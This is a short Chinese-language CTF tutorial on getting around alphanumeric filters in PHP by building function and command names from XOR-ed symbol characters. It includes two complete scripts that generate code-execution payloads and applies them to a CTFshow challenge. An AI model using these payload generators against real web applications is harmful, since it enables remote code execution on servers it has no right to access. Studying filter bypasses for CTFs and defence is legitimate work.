php无字母数字代码执行

Ant大约 2 分钟

php无字母数字代码执行

web平台为了防止攻击者使用恶意代码进行攻击,通常会过滤掉字母和数字,使攻击者无法使用数字和字母进行编程构造恶意代码。

为了绕过对字母和数字的过滤,可以使用符号的异或计算构造数字和字母。

例如,要构造字母A,可以使用以下代码:

<?php echo '?'^'~'; ?>

其中,?在ASCII码表中对应二进制00111111在ASCII码表中对应二进制 01111110,异或计算结果为 01000001,对应字母A

下面整理了两个脚本,一个是生成所有异或组合的脚本(gen_xor.php),另一个是根据异或组合构造恶意攻击的脚本(xor_rce.py)。

gen_xor.php

生成一个包含所有异或组合的文件xor_rce.txt

<?php

$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
    for ($j=0; $j <256 ; $j++) {if($i<16){
            $hex_i='0'.dechex($i);
        }
        else{
            $hex_i=dechex($i);
        }
        if($j<16){
            $hex_j='0'.dechex($j);
        }
        else{
            $hex_j=dechex($j);
        }
        $preg = '/[a-z0-9]/i';    // 根据题目给的正则表达式修改即可
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
            echo "";
        }
        else{
            $a='%'.$hex_i;  
            $b='%'.$hex_j;
            $c=(urldecode($a)^urldecode($b));
            if (ord($c)>=32&ord($c)<=126) {
                $contents=$contents.$c." ".$a." ".$b."\n";
            }
        }}
}
fwrite($myfile,$contents);
fclose($myfile);

xor_rce.py

输入想构造的函数和命令,输出对应的异或表达式


# -*- coding: utf-8 -*-

def action(arg):
    s1=""
    s2=""
    for i in arg:
        f=open("xor_rce.txt","r")
        while True:
            t=f.readline()
            if t=="":
                break
            if t[0]==i:
                #print(i)
                s1+=t[2:5]
                s2+=t[6:9]
                break
        f.close()
    output="(\""+s1+"\"^\""+s2+"\")"
    return(output)

while True:
  param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
  print(param)

CTFshow 无字母数字代码执行

执行xor_rce.py脚本,构造rce表达式

构造rce表达式
构造rce表达式

提交rce表达式

提交rce表达式
提交rce表达式
Loading...